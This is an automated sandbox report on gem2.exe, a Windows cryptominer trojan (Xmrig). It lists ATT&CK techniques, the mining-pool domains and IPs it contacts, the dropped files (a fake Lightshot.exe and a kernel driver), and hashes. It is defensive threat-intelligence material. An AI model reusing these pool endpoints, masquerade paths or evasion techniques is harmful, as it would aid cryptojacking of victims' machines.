Source: dialer.exe, 00000041.00000002.3310862683.000001DD5F649000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: procexp.exe

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Credential API Hooking	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	11 Windows Service	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Service Execution	Logon Script (Windows)	11 Windows Service	2 Obfuscated Files or Information	Security Account Manager	34 System Information Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	713 Process Injection	1 Install Root Certificate	NTDS	441 Security Software Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 File Deletion	Cached Domain Credentials	131 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	4 Rootkit	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Modify Registry	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	131 Virtualization/Sandbox Evasion	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	1 Access Token Manipulation	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption
Gather Victim Org Information	DNS Server	Compromise Software Supply Chain	Windows Command Shell	Scheduled Task	Scheduled Task	713 Process Injection	Keylogging	Process Discovery	Taint Shared Content	Screen Capture	DNS	Exfiltration Over Physical Medium	Resource Hijacking
Determine Physical Locations	Virtual Private Server	Compromise Hardware Supply Chain	Unix Shell	Systemd Timers	Systemd Timers	1 Hidden Files and Directories	GUI Input Capture	Permission Groups Discovery	Replication Through Removable Media	Email Collection	Proxy	Exfiltration over USB	Network Denial of Service

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
gem2.exe	62%	Virustotal		Browse
gem2.exe	66%	ReversingLabs	Win64.Trojan.MintZard

Dropped Files

Source	Detection	Scanner	Label	Link
C:\ProgramData\Screenshots\Lightshot.exe	66%	ReversingLabs	Win64.Trojan.MintZard
C:\Windows\Temp\yycjbdwxjaoe.sys	5%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://172.94.1q	0%	Avira URL Cloud	safe
http://3csp.icrosof4m/ocp0	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
pool-fr.supportxmr.com	141.94.96.195	true	false	unknown
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.35	true	false	high
pool.supportxmr.com	unknown	unknown	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/ws/2005/07/securitypolicy	lsass.exe, 00000024.00000000.2096621518.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3310067164.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-securitypolicy/200702	lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/02/trust	lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/ws-sx/ws-trust/200512	lsass.exe, 00000024.00000000.2096621518.00000140AD850000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000002.3310067164.00000140AD850000.00000004.00000001.00020000.00000000.sdmp	false		high
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/09/policy	lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/erties	lsass.exe, 00000024.00000002.3309932846.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/soap12/	lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
http://3csp.icrosof4m/ocp0	lsass.exe, 00000024.00000002.3311887155.00000140AE074000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 00000024.00000000.2096998931.00000140AE074000.00000004.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/wsdl/	lsass.exe, 00000024.00000000.2096595487.00000140AD82F000.00000004.00000001.00020000.00000000.sdmp	false		high
https://172.94.1q	dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://xmrig.com/docs/algorithms	dialer.exe, 00000041.00000002.3306534127.0000000140001000.00000040.00000001.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
141.94.96.144	unknown	Germany		680	DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1587388
Start date and time:	2025-01-10 10:15:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 9m 36s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	62
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	8
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	gem2.exe
Detection:	MAL
Classification:	mal100.spyw.evad.mine.winEXE@92/12@1/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 20.12.23.50, 52.165.164.15, 13.85.23.206, 20.3.187.198, 40.126.32.72, 40.126.32.133, 40.126.32.138, 40.126.32.134, 40.126.32.136, 40.126.32.68, 40.126.32.76, 20.190.160.20, 13.107.246.45
Excluded domains from analysis (whitelisted): prdv4a.aadg.msidentity.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, www.tm.v4.a.prd.aadg.trafficmanager.net, ctldl.windowsupdate.com, d.4.1.9.1.6.7.1.0.0.0.0.0.0.0.0.1.0.0.9.0.0.1.f.1.1.1.0.1.0.a.2.ip6.arpa, login.msa.msidentity.com, fe3cr.delivery.mp.microsoft.com, fe3.delivery.mp.microsoft.com, ocsp.digicert.com, login.live.com, glb.cws.prod.dcat.dsp.trafficmanager.net, sls.update.microsoft.com, wu-b-net.trafficmanager.net, glb.sls.prod.dcat.dsp.trafficmanager.net, www.tm.lg.prod.aadmsa.trafficmanager.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:15:57	API Interceptor	1x Sleep call for process: gem2.exe modified
04:15:59	API Interceptor	35x Sleep call for process: powershell.exe modified
04:16:36	API Interceptor	419567x Sleep call for process: winlogon.exe modified
04:16:37	API Interceptor	336396x Sleep call for process: lsass.exe modified
04:16:37	API Interceptor	1114x Sleep call for process: svchost.exe modified
04:16:40	API Interceptor	402155x Sleep call for process: dwm.exe modified
04:16:42	API Interceptor	1854x Sleep call for process: dialer.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
141.94.96.144	chrtrome22.exe	Get hash	malicious	Xmrig	Browse
	174.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse
	kWYLtJ0Cn1.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	FieroHack.exe	Get hash	malicious	Xmrig	Browse
	h2UFp4aCRq.exe	Get hash	malicious	LoaderBot, Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie_(1).vbs	Get hash	malicious	Xmrig	Browse
	curriculum_vitae-copie.vbs	Get hash	malicious	Xmrig	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pool-fr.supportxmr.com	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	174.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	SecuriteInfo.com.Trojan.Siggen29.47910.18846.10721.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	file.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	egFMhHSlmf.exe	Get hash	malicious	Xmrig	Browse	141.94.96.71
	xmr_linux_amd64 (2).elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	xmr_linux_amd64.elf	Get hash	malicious	Xmrig	Browse	141.94.96.195
	SecuriteInfo.com.Trojan.Siggen29.24758.13221.7276.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	Q3pEXxmWAD.exe	Get hash	malicious	Xmrig	Browse	141.94.96.195
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	217.20.57.25
	82eqjqLrzE.exe	Get hash	malicious	AsyncRAT	Browse	217.20.57.23
	Solara.exe	Get hash	malicious	Unknown	Browse	217.20.57.35
	Sales Acknowledgement - HES #982323.pdf	Get hash	malicious	Unknown	Browse	84.201.210.39
	file_83f986ef2d0592ef993924a8cc5b8d6a_2025-01-07_10_04_01_718000.zip	Get hash	malicious	Unknown	Browse	217.20.57.36
	Setup.exe	Get hash	malicious	LummaC	Browse	217.20.57.18
	Insomia.exe	Get hash	malicious	LummaC	Browse	84.201.210.35
	T1#U5b89#U88c5#U53052.0.6.msi	Get hash	malicious	Unknown	Browse	84.201.210.34
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	84.201.210.22
bg.microsoft.map.fastly.net	1736491685cd440ba02224486139c45779065ac91a3edb422c48d3d3c6920c4d30fc9d2bfc582.dat-decoded.exe	Get hash	malicious	AsyncRAT, DcRat	Browse	199.232.210.172
	gqIYXW7GfB.exe	Get hash	malicious	DCRat	Browse	199.232.214.172
	https://ik.imagekit.io/nrof2h909/Sherman%20Pruitt,%20Chief%20of%20Police,%20MSCJ.pdf?updatedAt=1736444487005	Get hash	malicious	Unknown	Browse	199.232.210.172
	https://marcuso-wq.github.io/home/	Get hash	malicious	HTMLPhisher	Browse	199.232.214.172
	1Ta6ojwHc6.exe	Get hash	malicious	DCRat	Browse	199.232.210.172
	Nuevo-orden.xla.xlsx	Get hash	malicious	Unknown	Browse	199.232.214.172
	Appraisal-nation-Review_and_Signature_Request46074.pdf	Get hash	malicious	Unknown	Browse	199.232.214.172
	new.bat	Get hash	malicious	Unknown	Browse	199.232.210.172
	MDE_File_Sample_c404ec52446527b77da6860ca493ea2007ac03d5.zip	Get hash	malicious	Unknown	Browse	199.232.210.172
	JB#40044 Order.exe	Get hash	malicious	MassLogger RAT	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DFNVereinzurFoerderungeinesDeutschenForschungsnetzese	armv4l.elf	Get hash	malicious	Unknown	Browse	195.37.28.224
	armv6l.elf	Get hash	malicious	Unknown	Browse	134.245.99.176
	armv7l.elf	Get hash	malicious	Unknown	Browse	139.19.193.179
	https://www.bing.com/ck/a?!&&p=3c39a9f42e445bf68e8df296bb1fae53d0c972b7afa34ab05d6ca3737dc8872cJmltdHM9MTczNjM4MDgwMA&ptn=3&ver=2&hsh=4&fclid=2ffa23fd-270b-62aa-06ef-300e230b6c77&u=a1aHR0cHM6Ly93d3cuYmluZy5jb20vYWxpbmsvbGluaz91cmw9aHR0cHMlM2ElMmYlMmZ3d3cuYWxwaGFzdXJhbmNlLmNvbSUyZiZzb3VyY2U9c2VycC1sb2NhbCZoPUE1Z0FJY1RpY2tXbGRHJTJidFFwJTJmY0dnQ3Z3Tmg4UmZjRXBwQmdUTGlNOEtNJTNkJnA9bHdfdHAmaWc9QTlFRTIyOTNCQzJGNDgyMDlGMTkyNEFBOUQ4MTUyNkYmeXBpZD1ZTjg3M3gxNzg2NjcxMDE2NTE1NDQyOTA3NA&ntb=1	Get hash	malicious	Unknown	Browse	141.95.100.236
	https://t.co/qNQo33w8wD	Get hash	malicious	HTMLPhisher	Browse	141.95.98.65
	chrtrome22.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144
	http://hockey30.com	Get hash	malicious	Unknown	Browse	141.95.171.140
	https://hockey30.com/nouvelles/malaise-en-conference-de-presse-kent-hughes-envoie-un-message-cinglant-a-juraj-slafkovsky/	Get hash	malicious	Unknown	Browse	141.95.171.140
	n397UdH3b5.exe	Get hash	malicious	Wannacry, Conti	Browse	131.188.40.189
	174.exe	Get hash	malicious	Xmrig	Browse	141.94.96.144

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Windows\Temp\yycjbdwxjaoe.sys	chrtrome22.exe	Get hash	malicious	Xmrig	Browse
	pTVKHqys2h.exe	Get hash	malicious	Xmrig	Browse
	174.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, XWorm, Xmrig	Browse
	47SXvEQ.exe	Get hash	malicious	Blank Grabber, Xmrig	Browse
	xmr new.exe	Get hash	malicious	Xmrig	Browse
	eth.exe	Get hash	malicious	Xmrig	Browse
	file.exe	Get hash	malicious	Xmrig	Browse
	hiwA7Blv7C.exe	Get hash	malicious	Xmrig	Browse
	5fr5gthkjdg71.exe	Get hash	malicious	Quasar, R77 RootKit	Browse

Created / dropped Files

C:\ProgramData\Screenshots\Lightshot.exe

Download File

Process:	C:\Users\user\Desktop\gem2.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	2876416
Entropy (8bit):	6.537334125155787
Encrypted:	false
SSDEEP:	49152:lYul8CapE2jLY0vFhbkQbIptv1xZ4ayOIYDIGC3FYKjPgz+WWrS2sWioLyVQGMNx:lYLCGYYbkQbytvVeOIerC1zPgSWW/pio
MD5:	990A3F3B1273510F210FB9B541DA219F
SHA1:	33E536C5B4BDB6F6042F93445DFFD8A3AD488E8B
SHA-256:	35A8D03F86AE6F92424D6424FE0805D338ECCEDFF177B400182102685299022C
SHA-512:	495734313CAE980D3F48EF78422CF9484EB347833672FD5C693F8F8C92C1C0D51986795CD55A3148BE18FF0C9D36ADFF5A1C3FF18200668DD33F3978A459C246
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 66%
Preview:	MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d......g.........."..........N+.....@..........@.............................p,...........`.................................................x...<....P,.P.... ,..............`,.x...............................(.......8...............X............................text...f........................... ..`.rdata... ......."..................@..@.data....1+...... +.................@....pdata....... ,.......+.............@..@.00cfg.......0,.......+.............@..@.tls.........@,.......+.............@....rsrc...P....P,.......+.............@..@.reloc..x....`,.......+.............@..B........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_01nv4rv3.nkt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_0wriahtp.qpd.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sm24etzm.lii.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yspndyca.3zx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:Nlllul2lllllZ:NllUClll
MD5:	4D98AF7F487E62A9C1D44B02674BAB7E
SHA1:	1B492B2208949EB7F18C32F309C296B4258DBA65
SHA-256:	1E3ED9CE6343DA27C6759A0F05D6DD0B92B3A9C63B6492A2DA4E4F371D9F56DA
SHA-512:	60EC859B84836E865E767FE858E70ACEC6F0FB8077B2E51D6CB4095533433B791C9A16396D69279C7F896DF003A1ED6656087B43EFA16523DA4026317CBB49E6
Malicious:	false
Preview:	@...e.................................:..............@..........

C:\Windows\Temp\__PSScriptPolicyTest_b43v2i2m.ol2.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_dmcpz4ps.vdx.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_ipc31scb.2aq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\__PSScriptPolicyTest_tqqpx1nd.trx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\Temp\yycjbdwxjaoe.sys

Download File

Process:	C:\ProgramData\Screenshots\Lightshot.exe
File Type:	PE32+ executable (native) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14544
Entropy (8bit):	6.2660301556221185
Encrypted:	false
SSDEEP:	192:nqjKhp+GQvzj3i+5T9oGYJh1wAoxhSF6OOoe068jSJUbueq1H2PIP0:qjKL+v/y+5TWGYOf2OJ06dUb+pQ
MD5:	0C0195C48B6B8582FA6F6373032118DA
SHA1:	D25340AE8E92A6D29F599FEF426A2BC1B5217299
SHA-256:	11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5
SHA-512:	AB28E99659F219FEC553155A0810DE90F0C5B07DC9B66BDA86D7686499FB0EC5FDDEB7CD7A3C5B77DCCB5E865F2715C2D81F4D40DF4431C92AC7860C7E01720D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 5%
Joe Sandbox View:	Filename: chrtrome22.exe, Detection: malicious, Browse Filename: pTVKHqys2h.exe, Detection: malicious, Browse Filename: 174.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 47SXvEQ.exe, Detection: malicious, Browse Filename: xmr new.exe, Detection: malicious, Browse Filename: eth.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hiwA7Blv7C.exe, Detection: malicious, Browse Filename: 5fr5gthkjdg71.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......5:n.q[..q[..q[..q[..}[..V.{.t[..V.}.p[..V.m.r[..V.q.p[..V.\|.p[..V.x.p[..Richq[..................PE..d....&.H.........."..................P.......................................p..............................................................dP..<....`.......@..`...................p ............................................... ..p............................text............................... ..h.rdata..\|.... ......................@..H.data........0......................@....pdata..`....@......................@..HINIT...."....P...................... ....rsrc........`......................@..B................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	6.537334125155787
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gem2.exe
File size:	2'876'416 bytes
MD5:	990a3f3b1273510f210fb9b541da219f
